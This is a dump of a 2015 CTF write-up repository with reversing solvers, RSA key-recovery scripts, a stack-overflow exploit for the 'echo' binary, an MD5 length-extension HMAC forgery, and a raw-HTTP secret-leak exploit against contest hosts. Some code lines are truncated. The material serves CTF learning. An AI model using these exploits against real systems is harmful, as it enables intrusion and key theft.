dst_offset = (block_size * i + j) % reg32 31 | plaintext[src_offset] = swap_byte(ptr[dst_offset] ^ ((i * i ^ j * j) % reg08)) 32 | 33 | return "".join(chr(x) for x in plaintext) 34 | 35 | open("flag.dec","wb").write(descramble(open("./flag.enc", "rb").read())) -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/dark/solution/flag.dec: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/reversing/dark/solution/flag.dec -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/leach/challenge/leach: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/reversing/leach/challenge/leach -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/leach/solution/leach.dif: -------------------------------------------------------------------------------- 1 | This difference file has been created by IDA 2 | 3 | leach.bak 4 | 000000000000113A: 89 90 5 | 000000000000113B: C7 90 6 | 000000000000113C: E8 90 7 | 000000000000113D: 3F 90 8 | 000000000000113E: F8 90 9 | 000000000000113F: FF 90 10 | 0000000000001140: FF 90 11 | 0000000000001141: BF 90 12 | 0000000000001142: 00 90 13 | 0000000000001143: 00 90 14 | 0000000000001144: 00 90 15 | 0000000000001145: 00 90 16 | 0000000000001146: E8 90 17 | 0000000000001147: F5 90 18 | 0000000000001148: F7 90 19 | 0000000000001149: FF 90 20 | 000000000000114A: FF 90 21 | 000000000000114B: 89 90 22 | 000000000000114C: C2 90 23 | 000000000000114D: 8B 90 24 | 000000000000114E: 45 90 25 | 000000000000114F: F8 90 26 | 0000000000001150: 29 90 27 | 0000000000001151: C2 90 28 | 0000000000001152: 89 90 29 | 0000000000001153: D0 90 30 | -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/selfie/challenge/hidden_selfie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/reversing/selfie/challenge/hidden_selfie -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/selfie/challenge/selfie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/reversing/selfie/challenge/selfie -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/selfie/solution/selfie_descramble.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # ASIS CTF Quals 2015 4 | # selfie (REVERSING/150) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | g_r = 0 11 | 12 | # fetch hidden binary 13 | def get_hidden_elf(selfie): 14 | data = open(selfie, "rb").read() 15 | offset = 8960 # offset of hidden ELF 16 | return data[offset: ] 17 | 18 | # fetch scrambled buffer from hidden ELF 19 | def get_scrambled_buffer(hidden_selfie_buffer): 20 | offset = 2432 # offset of scrambled buffer 21 | size = 1521 # size of scrambled buffer 22 | return hidden_selfie_buffer[offset: offset+size] 23 | 24 | # ported sitoor function 25 | def sitoor(a): 26 | global g_r 27 | 28 | if(a*a == a): 29 | return False 30 | 31 | v3 = float(a) / 2 32 | for i in xrange(1000): 33 | v3 = float(v3*v3 + a) / (v3+v3) 34 | g_r = long(v3) 35 | return (0.0 != (v3 - float(long(v3)))) 36 | 37 | def descramble(selfie): 38 | scrambled = get_scrambled_buffer(get_hidden_elf(selfie)) 39 | #Try bruteforce approach 40 | v9 = 1521 41 | res = "" 42 | for i in xrange(v9): 43 | if not(sitoor(i)): 44 | res += scrambled[i + 1] 45 | return res 46 | 47 | print "[+]Got flag: [%s]" % descramble("./selfie") -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/tera/challenge/tera: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/reversing/tera/challenge/tera -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/tera/solution/tera_decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # ASIS CTF Quals 2015 4 | # tera (REVERSING/100) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from struct import unpack 11 | import urllib2 12 | 13 | # Fetch single byte from URL using content range 14 | def get_buffer_byte(url, offset): 15 | req = urllib2.Request(url) 16 | req.headers['Range'] = 'bytes=%s-%s' % (offset, offset) 17 | f = urllib2.urlopen(req) 18 | return f.read() 19 | 20 | # Decryption functionality 21 | def decrypt(url, index_table, key_table): 22 | plaintext = "" 23 | for m in xrange(0, 38): 24 | i = unpack(' I): 29 | for c in charset: 30 | if ((h - (ord(c) ^ 0x8F)) % M == 0): 31 | s += c 32 | h -= (ord(c) ^ 0x8F) 33 | h /= M 34 | 35 | s += "{SISA" 36 | 37 | return s[::-1] 38 | 39 | h = 27221558106229772521592198788202006619458470800161007384471764 40 | print recover_m(h) -------------------------------------------------------------------------------- /2015/ASISCTF_FINALS/reverse/fake/challenge/fake: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF_FINALS/reverse/fake/challenge/fake -------------------------------------------------------------------------------- /2015/ASISCTF_FINALS/reverse/license/challenge/license: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF_FINALS/reverse/license/challenge/license -------------------------------------------------------------------------------- /2015/ASISCTF_FINALS/reverse/license/solution/gen_license.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # ASISCTF Finals 2015 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | from z3 import * 10 | 11 | def gen_license(): 12 | filelen = 34 13 | filename = "_a\nb\tc_" 14 | 15 | f = open(filename, "wb") 16 | content = "" 17 | 18 | x = ["iKWoZL", "Vc4LTy", "GrCRed", "PhfEni", "hgyGxW"] 19 | 20 | s = Solver() 21 | 22 | lines = [None]*(5*10 + 6) 23 | for i in xrange(5): 24 | for j in xrange(6): 25 | lines[(i*10)+j] = BitVec((i*10)+j, 8) 26 | 27 | for j in xrange(6): 28 | s.add(lines[(0*10)+j] ^ lines[(1*10)+j] == ord(x[0][j])) 29 | s.add(lines[(1*10)+j] ^ lines[(3*10)+j] ^ 0x23 == ord(x[1][j])) 30 | s.add(lines[(3*10)+j] ^ lines[(2*10)+j] == ord(x[2][j])) 31 | s.add(lines[(3*10)+j] ^ lines[(4*10)+j] ^ lines[(2*10)+j] ^ 0x23 == ord(x[3][j])) 32 | s.add(lines[(3*10)+j] == ord(x[4][j])) 33 | 34 | linez = [] 35 | 36 | # Check if problem is satisfiable before trying to solve it 37 | if(s.check() == sat): 38 | print "[+] Problem satisfiable, generating license :)" 39 | sol_model = s.model() 40 | for i in xrange(5): 41 | s = "" 42 | for j in xrange(6): 43 | s += chr(sol_model[lines[(i*10)+j]].as_long()) 44 | 45 | linez.append(s) 46 | else: 47 | raise Exception("[-] Problem unsatisfiable, could not generate license :(") 48 | 49 | content += linez[0] + chr(10) 50 | content += linez[1] + chr(10) 51 | content += linez[2] + chr(10) 52 | content += linez[3] + chr(10) 53 | content += linez[4] 54 | 55 | assert(len(content) == filelen) 56 | 57 | f.write(content) 58 | f.close() 59 | 60 | return 61 | 62 | gen_license() -------------------------------------------------------------------------------- /2015/BACKDOORCTF/README.md: -------------------------------------------------------------------------------- 1 | # Backdoor CTF 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [crypto/rsalot](crypto/rsalot) 6 | * [crypto/rsanne](crypto/rsanne) 7 | * [pwnable/echo](pwnable/echo) 8 | * [pwnable/forgot](pwnable/forgot) 9 | * [pwnable/team](pwnable/team) 10 | * [sandbox/concealed](sandbox/concealed) 11 | * [sandbox/noname](sandbox/noname) 12 | * [misc/qr](misc/qr) 13 | * [misc/tim](misc/tim) 14 | * [misc/lhc](misc/lhc) -------------------------------------------------------------------------------- /2015/BACKDOORCTF/crypto/rsalot/challenge/RSALOT.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/BACKDOORCTF/crypto/rsalot/challenge/RSALOT.tar.gz -------------------------------------------------------------------------------- /2015/BACKDOORCTF/crypto/rsalot/solution/rsalot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Backdoor CTF 2015 4 | # RSALOT (CRYPTO/250) Exploit 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import os 11 | from Crypto.PublicKey import RSA 12 | from Crypto.Cipher import PKCS1_OAEP 13 | from base64 import b64decode 14 | 15 | # GCD (times sign of b if b is nonzero, times sign of a if b is zero) 16 | def gcd(a,b): 17 | while b != 0: 18 | a,b = b, a % b 19 | return a 20 | 21 | # Extended Greatest Common Divisor 22 | def egcd(a, b): 23 | if (a == 0): 24 | return (b, 0, 1) 25 | else: 26 | g, y, x = egcd(b % a, a) 27 | return (g, x - (b // a) * y, y) 28 | 29 | # Modular multiplicative inverse 30 | def modInv(a, m): 31 | g, x, y = egcd(a, m) 32 | if (g != 1): 33 | raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m)) 34 | else: 35 | return x % m 36 | 37 | # Calculate private exponent from n, e, p, q 38 | def getPrivate(n, e, p, q): 39 | d = modInv(e, (p-1)*(q-1)) 40 | return RSA.construct((n, e, d, p, q, )) 41 | 42 | # Get prime factors of n1 if n1 and n2 have common prime factor 43 | def commonPrimeFactor(n1, n2): 44 | p = gcd(n1, n2) 45 | if((p != 1) and (p != n1) and (p != n2)): 46 | q = n1 / p 47 | return (p, q) 48 | else: 49 | return None 50 | 51 | # Import all keys 52 | def getKeys(): 53 | keys = {} 54 | privKeys = [] 55 | 56 | filenames = next(os.walk("."))[2] 57 | for filename in filenames: 58 | if(filename[-3:] == "pem"): 59 | f = open(filename, 'rb') 60 | externKey = f.read() 61 | f.close() 62 | keys[int(filename[:-4])] = RSA.importKey(externKey) 63 | 64 | # Check for common prime factors 65 | for index1 in keys: 66 | key1 = keys[index1] 67 | 68 | for index2 in keys: 69 | if(index1 == index2): 70 | continue 71 | 72 | key2 = keys[index2] 73 | r = commonPrimeFactor(key1.n, key2.n) 74 | if(r != None): 75 | print "[+]Got private key from common modulus between (%d) and (%d)" % (index1, index2) 76 | privKeys.append(getPrivate(key1.n, key1.e, r[0], r[1])) 77 | 78 | return privKeys 79 | 80 | # Decrypt ciphertext using private key (PKCS1 OAEP format) 81 | def do_decrypt(rsakey, ciphertext): 82 | rsakey = PKCS1_OAEP.new(rsakey) 83 | plaintext = rsakey.decrypt(b64decode(ciphertext)) 84 | return plaintext 85 | 86 | # Get all private keys 87 | privKeys = getKeys() 88 | ciphertext = open("flag.enc", 'rb').read() 89 | 90 | # Try all potential private keys we obtain 91 | for privKey in privKeys: 92 | try: 93 | print do_decrypt(privKey, ciphertext) 94 | print "" 95 | except: 96 | pass -------------------------------------------------------------------------------- /2015/BACKDOORCTF/crypto/rsanne/challenge/RSANNE.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/BACKDOORCTF/crypto/rsanne/challenge/RSANNE.tar.gz -------------------------------------------------------------------------------- /2015/BACKDOORCTF/crypto/rsanne/solution/rsanne.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Backdoor CTF 2015 4 | # RSANNE (CRYPTO/350) Exploit 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | from Crypto.PublicKey import RSA 10 | from Crypto.Cipher import PKCS1_OAEP 11 | from base64 import b64decode 12 | 13 | # GCD (times sign of b if b is nonzero, times sign of a if b is zero) 14 | def gcd(a,b): 15 | while b != 0: 16 | a,b = b, a % b 17 | return a 18 | 19 | # Extended Greatest Common Divisor 20 | def egcd(a, b): 21 | if (a == 0): 22 | return (b, 0, 1) 23 | else: 24 | g, y, x = egcd(b % a, a) 25 | return (g, x - (b // a) * y, y) 26 | 27 | # Modular multiplicative inverse 28 | def modInv(a, m): 29 | g, x, y = egcd(a, m) 30 | if (g != 1): 31 | raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m)) 32 | else: 33 | return x % m 34 | 35 | # Decrypt ciphertext using private key (PKCS1 OAEP format) 36 | def do_decrypt(rsakey, ciphertext): 37 | rsakey = PKCS1_OAEP.new(rsakey) 38 | plaintext = rsakey.decrypt(b64decode(ciphertext)) 39 | return plaintext 40 | 41 | # Calculate private exponent from n, e, p, q 42 | def getPrivate(n, e, p, q): 43 | d = modInv(e, (p-1)*(q-1)) 44 | return RSA.construct((n, e, d, p, q, )) 45 | 46 | # Factors of n expressed as (2^2281 - 1)(2^2203 - 1) 47 | p = (pow(2, 2281)-1) 48 | q = (pow(2, 2203)-1) 49 | 50 | ciphertext = open("flag.enc", 'rb').read() 51 | pubKey = RSA.importKey(open("id_rsa.pub", 'rb').read()) 52 | privKey = getPrivate(pubKey.n, pubKey.e, p, q) 53 | print do_decrypt(privKey, ciphertext) -------------------------------------------------------------------------------- /2015/BACKDOORCTF/misc/lhc/README.md: -------------------------------------------------------------------------------- 1 | # Backdoor CTF 2015: LHC 2 | 3 | **Category:** Misc 4 | **Points:** 100 5 | **Description:** 6 | 7 | > The flag is in the middle of [this dataset](https://lhc-cdn.herokuapp.com/data.txt) kindly provided to us by the Large Hadron Collider. 8 | 9 | ## Write-up 10 | 11 | We started out by simply trying to download the file only to see it was 2TB which is far to large to be intended to be downloaded. The trick is (hinted at by saying the flag is 'in the middle') to only download part of the file starting from a given offset. This can be [done](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35) by specifying: 12 | 13 | >Range: bytes=0-7 14 | 15 | In your header if we want to download 8 bytes starting from offset 0. Given that we want to download some part in the middle we figured to download 2048 bytes (just a guess) around the middle of the file using [this script](solution/lhc.py): 16 | 17 | >```python 18 | >#!/usr/bin/python 19 | ># 20 | ># Backdoor CTF 2015 21 | ># LHC (MISC/100) 22 | ># 23 | ># @a: Smoke Leet Everyday 24 | ># @u: https://github.com/smokeleeteveryday 25 | ># 26 | >import urllib2 27 | > 28 | >area_size = 1024 29 | >target_url = 'https://lhc-cdn.herokuapp.com/data.txt' 30 | > 31 | ># Get total file length in advance 32 | >def getFlen(url): 33 | > req = urllib2.Request(url) 34 | > f = urllib2.urlopen(req) 35 | > meta = f.info() 36 | > return meta.getheaders("Content-Length")[0] 37 | > 38 | ># Get segment of remote file 39 | >def getData(url, offset_start, offset_end): 40 | > req = urllib2.Request(url) 41 | > req.headers['Range'] = 'bytes=%s-%s' % (offset_start, offset_end) 42 | > f = urllib2.urlopen(req) 43 | > return f.read() 44 | > 45 | >flen = long(getFlen(target_url)) 46 | > 47 | >print "[*]Total file length: %d" % flen 48 | > 49 | >offset_start = long(flen / 2) - area_size 50 | >offset_end = offset_start + (area_size*2) 51 | > 52 | >print "[*]Fetching from offset %d to %d" % (offset_start, offset_end) 53 | > 54 | >data = getData(target_url, offset_start, offset_end) 55 | >print data 56 | >``` 57 | 58 | Which produces the output 59 | 60 | >```bash 61 | >$ python lhc.py 62 | >(..junk..) 63 | >■δy♥. The flag is: bf16dc27625b189a2b0f2c52850890fac00189c0b88a2847e36facf8071df1b4 Ö╟╟ 64 | >(..junk..) 65 | >``` -------------------------------------------------------------------------------- /2015/BACKDOORCTF/misc/lhc/solution/lhc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Backdoor CTF 2015 4 | # LHC (MISC/100) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | import urllib2 10 | 11 | area_size = 1024 12 | target_url = 'https://lhc-cdn.herokuapp.com/data.txt' 13 | 14 | # Get total file length in advance 15 | def getFlen(url): 16 | req = urllib2.Request(url) 17 | f = urllib2.urlopen(req) 18 | meta = f.info() 19 | return meta.getheaders("Content-Length")[0] 20 | 21 | # Get segment of remote file 22 | def getData(url, offset_start, offset_end): 23 | req = urllib2.Request(url) 24 | req.headers['Range'] = 'bytes=%s-%s' % (offset_start, offset_end) 25 | f = urllib2.urlopen(req) 26 | return f.read() 27 | 28 | flen = long(getFlen(target_url)) 29 | 30 | print "[*]Total file length: %d" % flen 31 | 32 | offset_start = long(flen / 2) - area_size 33 | offset_end = offset_start + (area_size*2) 34 | 35 | print "[*]Fetching from offset %d to %d" % (offset_start, offset_end) 36 | 37 | data = getData(target_url, offset_start, offset_end) 38 | print data -------------------------------------------------------------------------------- /2015/BACKDOORCTF/misc/tim/README.md: -------------------------------------------------------------------------------- 1 | # Backdoor CTF 2015: TIM 2 | 3 | **Category:** Misc 4 | **Points:** 100 5 | **Description:** 6 | 7 | > Visit https://github.com/backdoor-ctf/TIM to get the flag. 8 | 9 | ## Write-up 10 | 11 | -------------------------------------------------------------------------------- /2015/BACKDOORCTF/pwnable/echo/README.md: -------------------------------------------------------------------------------- 1 | # Backdoor CTF 2015: Echo 2 | 3 | **Category:** Pwnable 4 | **Points:** 100 5 | **Description:** 6 | 7 | > Little Suzie started learning C. She created a simple program that echo's back whatever you input. 8 | > [Here](challenge/echo) is the binary file. 9 | > The vampire came across this service on the internet. nc hack.bckdr.in 8002. Reports say he found a flag. See if you can get it. 10 | 11 | ## Write-up 12 | 13 | Take a peek at the binary 14 | 15 | >```bash 16 | > file echo 17 | > echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x465c87a1ebfcdf7b01bfa8daed8f376d2bae9dfe, not stripped 18 | >``` 19 | 20 | What does checksec say? 21 | 22 | >```bash 23 | > gdb-peda$ checksec 24 | > CANARY : disabled 25 | > FORTIFY : disabled 26 | > NX : ENABLED 27 | > PIE : disabled 28 | > RELRO : Partial 29 | >``` 30 | 31 | A straight-forward non-stripped 32-bit ELF with non-exec stack. Let's fire up our decompiler and get the interesting functions out of it: 32 | 33 | >```c 34 | >int __cdecl main(int argc, const char **argv, const char **envp) 35 | >{ 36 | > test(); 37 | > return 0; 38 | >} 39 | > 40 | >int test() 41 | >{ 42 | > char s; // [sp+1Eh] [bp-3Ah]@1 43 | > 44 | > gets(&s); 45 | > sleep(1u); 46 | > return fprintf(_bss_start, "ECHO: %s\n", &s); 47 | >} 48 | > 49 | >signed int sample() 50 | >{ 51 | > signed int result; // eax@2 52 | > char s; // [sp+18h] [bp-70h]@4 53 | > FILE *stream; // [sp+7Ch] [bp-Ch]@1 54 | > 55 | > stream = fopen("flag.txt", "r"); 56 | > if ( stream ) 57 | > { 58 | > while ( fgets(&s, 100, stream) ) 59 | > fputs(&s, _bss_start); 60 | > fclose(stream); 61 | > result = 0; 62 | > } 63 | > else 64 | > { 65 | > result = 1; 66 | > } 67 | > return result; 68 | >} 69 | >``` 70 | 71 | Ok, that looks good. A simple gets() stack overflow (of a buffer of length 58 bytes) and a function to print our flag. [Simply](solution/echosploit.py) overflow our buffer s into the EIP to point it to sample() to get the flag: 72 | 73 | >```python 74 | >#!/usr/bin/python 75 | ># 76 | ># Backdoor CTF 2015 77 | ># ECHO (PWN/100) 78 | ># 79 | ># @a: Smoke Leet Everyday 80 | ># @u: https://github.com/smokeleeteveryday 81 | ># 82 | > 83 | >from pwn import * 84 | >from struct import pack, unpack 85 | > 86 | >host = 'hack.bckdr.in' 87 | >h = remote(host, 8002, timeout = None) 88 | >buf = "A" * 62 + pack('h.send(buf + "\n") 90 | >print h.recvall() 91 | > 92 | >h.close() 93 | >``` 94 | 95 | And we got the flag: 96 | 97 | >```bash 98 | >$ python echosploit.py 99 | > [+] Opening connection to hack.bckdr.in on port 8002: Done 100 | > [+] Recieving all data: Done (138B) 101 | > [*] Closed connection to hack.bckdr.in port 8002 102 | > ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}\x85\x0 103 | > {flag removed upon request of backdoorCTF admins ;)} 104 | >``` 105 | -------------------------------------------------------------------------------- /2015/BACKDOORCTF/pwnable/echo/challenge/echo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/BACKDOORCTF/pwnable/echo/challenge/echo -------------------------------------------------------------------------------- /2015/BACKDOORCTF/pwnable/echo/solution/echosploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Backdoor CTF 2015 4 | # ECHO (PWN/100) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from pwn import * 11 | from struct import pack, unpack 12 | 13 | host = 'hack.bckdr.in' 14 | h = remote(host, 8002, timeout = None) 15 | buf = "A" * 62 + pack(' ') 19 | 20 | name = "420" 21 | h.send(name + "\n") 22 | 23 | msg = h.recvuntil('> ') 24 | print msg 25 | 26 | # Get end_with_dot address 27 | m = re.findall("Here:\s(.*?)$", msg, re.MULTILINE) 28 | 29 | # Calculate target address 30 | end_with_dot_Addr = int(m[0], 16) 31 | targetAddr = end_with_dot_Addr + offset 32 | 33 | # Send exploit buffer 34 | valstr = "A" * 32 + pack(' -------------------------------------------------------------------------------- /2015/CONFIDENCE_TEASER/crypto/machacking/hmac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/CONFIDENCE_TEASER/crypto/machacking/hmac.png -------------------------------------------------------------------------------- /2015/CONFIDENCE_TEASER/crypto/machacking/lengthextension.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/CONFIDENCE_TEASER/crypto/machacking/lengthextension.jpg -------------------------------------------------------------------------------- /2015/CONFIDENCE_TEASER/crypto/machacking/solution/machack_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Teaser CONFidence CTF 2015 4 | # Mac Hacking (CRYPTO/150) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import requests 11 | import hmac 12 | from hashlib import md5 13 | from urllib import urlencode 14 | import hashpumpy 15 | 16 | blocksize = md5().block_size 17 | 18 | def visit(url, encoded_args): 19 | r = requests.get(url + "?" + encoded_args) 20 | return r.text.strip() 21 | 22 | def oldSign(url, data): 23 | args = {'a': 'sign', 24 | 'm': 'old', 25 | 'd': data} 26 | return visit(url, urlencode(args)) 27 | 28 | def newVerify(url, data, signature): 29 | args = {'a': 'verify', 30 | 'm': 'new', 31 | 'd': data, 32 | 's': signature} 33 | return visit(url, urlencode(args)) 34 | 35 | url = "http://95.138.166.219/" 36 | 37 | base_msg = "ayylmao" 38 | extend_msg = "get flag" 39 | 40 | i_key_md5 = oldSign(url, "\x36"*blocksize + base_msg).decode('hex') 41 | print "[+]Got md5(i_key_pad + '%s') = %s" % (base_msg, i_key_md5.encode('hex')) 42 | 43 | res = hashpumpy.hashpump(i_key_md5.encode('hex'), base_msg, extend_msg, blocksize) 44 | i_key_md5_extend = res[0] 45 | forged_msg = res[1] 46 | 47 | print "[+]Got md5(i_key_pad + '%s') = %s" % (forged_msg, i_key_md5_extend) 48 | 49 | o_key_md5 = oldSign(url, "\x5C"*blocksize + i_key_md5_extend.decode('hex')) 50 | 51 | print "[+]Got md5(o_key_pad + md5(i_key_pad + forged_msg).digest()) = %s" % o_key_md5 52 | print "[+]Verification response: [%s]" % newVerify(url, forged_msg, o_key_md5) -------------------------------------------------------------------------------- /2015/CONFIDENCE_TEASER/web/practicalnumerology/challenge/index.php: -------------------------------------------------------------------------------- 1 |
'.PHP_EOL; 21 | highlight_file(__FILE__); 22 | exit; 23 | } 24 | 25 | $guess = $_POST['guess']; 26 | 27 | if($guess === $_SESSION['secret']) 28 | { 29 | $flag = require('flag.php'); 30 | exit('Lucky bastard! You won the flag! ' . $flag); 31 | } 32 | //else... 33 | echo "Wrong! '{$_SESSION['secret']}' != '"; 34 | echo htmlspecialchars($guess); 35 | echo "'"; 36 | 37 | $_SESSION['secret'] = generate_secret(); 38 | -------------------------------------------------------------------------------- /2015/CONFIDENCE_TEASER/web/practicalnumerology/solution/practicalnum_sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Teaser CONFidence CTF 2015 4 | # Practical numerology (WEB/300) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import socket 11 | import re 12 | 13 | url = '134.213.136.172' 14 | data = 'guess=' 15 | 16 | payload1 = 'GET / HTTP/1.1\r\n' 17 | payload1 += 'Host: 134.213.136.172\r\n\r\n' 18 | 19 | payload2 = "POST / HTTP/1.1\r\n" 20 | payload2 += "Host: 134.213.136.172\r\n" 21 | payload2 += "Cookie: PHPSESSID={}\r\n" 22 | payload2 += "Content-Length: {}\r\n" 23 | payload2 += "Content-Type: application/x-www-form-urlencoded\r\n\r\n" 24 | payload2 += "{}" 25 | 26 | s = socket.create_connection((url, 80)) 27 | s.send(payload1) 28 | cookie = re.findall('PHPSESSID=(.*);', s.recv(1500))[0] 29 | s.close() 30 | 31 | s = socket.create_connection((url, 80)) 32 | guess = data + 'A'*1000000 33 | s.send(payload2.format(cookie, len(guess), guess)) 34 | secret = re.findall("'(.*)' !=", s.recv(500))[0] 35 | s.close() 36 | 37 | s = socket.create_connection((url, 80)) 38 | guess = data + secret 39 | s.send(payload2.format(cookie, len(guess), guess)) 40 | print s.recv(2000).splitlines()[-1] 41 | s.close() -------------------------------------------------------------------------------- /2015/CSAWCTF/README.md: -------------------------------------------------------------------------------- 1 | # CSAWCTF 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [web/lawncaresimulator](web/lawncaresimulator) 6 | * [web/weebdate](web/weebdate) 7 | * [web/throwback](web/throwback) 8 | * [pwn/precision](pwn/precision) 9 | * [pwn/contacts](pwn/contacts) 10 | * [crypto/onesandzeros](crypto/onesandzeros) 11 | * [crypto/whiterose](crypto/whiterose) 12 | * [crypto/zeroday](crypto/zeroday) 13 | * [crypto/notesy](crypto/notesy) 14 | * [reversing/ftp](reversing/ftp) 15 | * [forensics/keepcalmandctf](forensics/keepcalmandctf) 16 | * [forensics/transfer](forensics/transfer) 17 | * [forensics/flash](forensics/flash) 18 | * [forensics/sharpturn](forensics/sharpturn) 19 | * [recon/juliancohen](recon/juliancohen) 20 | * [recon/alexandertaylor](recon/alexandertaylor) 21 | * [trivia/trivia1](trivia/trivia) 22 | * [trivia/trivia2](trivia/trivia) 23 | * [trivia/trivia3](trivia/trivia) 24 | * [trivia/trivia4](trivia/trivia) 25 | * [trivia/trivia5](trivia/trivia) 26 | * [trivia/trivia6](trivia/trivia) -------------------------------------------------------------------------------- /2015/CSAWCTF/pwn/contacts/challenge/contacts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/CSAWCTF/pwn/contacts/challenge/contacts -------------------------------------------------------------------------------- /2015/CSAWCTF/reversing/ftp/challenge/ftp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/CSAWCTF/reversing/ftp/challenge/ftp -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/challenge/___HINT___: -------------------------------------------------------------------------------- 1 | Before planting grass, add compost or other soil amendment to the soil to improve its ability to hold water. 2 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/challenge/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Lawn Care Simulator 2015 4 | 5 | 6 | 7 | 8 | 9 | 10 | 20 | 21 | 22 | 40 | 41 |
42 |
43 | 44 | 45 |
46 | 50 |
51 | 52 | 53 | -------------------------------------------------------------------------------- /2015/CSAWCTF/web/lawncaresimulator/challenge/jobs.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Lawn Care Simulator 2015 - Jobs 4 | 5 | 6 | 7 | 8 | 9 | 18 | 19 |
20 |
21 |

Come join the Lawn Care Simulator 2015 Team!

22 |

We are looking for talented people with skills in:

23 |
    24 |
  • The internet
  • 25 |
  • Git
  • 26 |
  • Javascript, Go, Erlang, Ruby, whatever the kids are using these days.
  • 27 |
  • Botany
  • 28 |
  • Extortion
  • 29 |
30 |

Apply today!

31 |
32 |
33 | 34 |
35 | 38 |
